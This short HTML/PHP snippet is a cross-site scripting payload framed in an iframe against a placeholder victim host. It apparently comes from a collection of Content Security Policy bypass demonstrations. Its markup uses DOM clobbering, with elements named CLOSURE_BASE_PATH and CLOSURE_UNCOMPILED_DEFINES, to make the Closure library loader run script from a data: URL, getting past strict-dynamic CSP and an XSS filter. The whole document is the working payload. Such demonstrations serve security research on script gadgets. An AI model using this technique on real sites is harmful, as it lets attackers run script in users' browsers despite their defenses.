<iframe src="//victim.example.com/repo/csp/sd/closure.php?csp=sd&xssfilter=1&inj=<?php
$inj = <<<'PAYLOAD'
<a id=CLOSURE_BASE_PATH href=data:/,1/alert(1)//></a>
<form id=CLOSURE_UNCOMPILED_DEFINES>
<input id=goog.ENABLE_CHROME_APP_SAFE_SCRIPT_LOADING></form>
<script>strict_dynamic_beacon()</script>
PAYLOAD;
echo urlencode($inj);
?>"></iframe>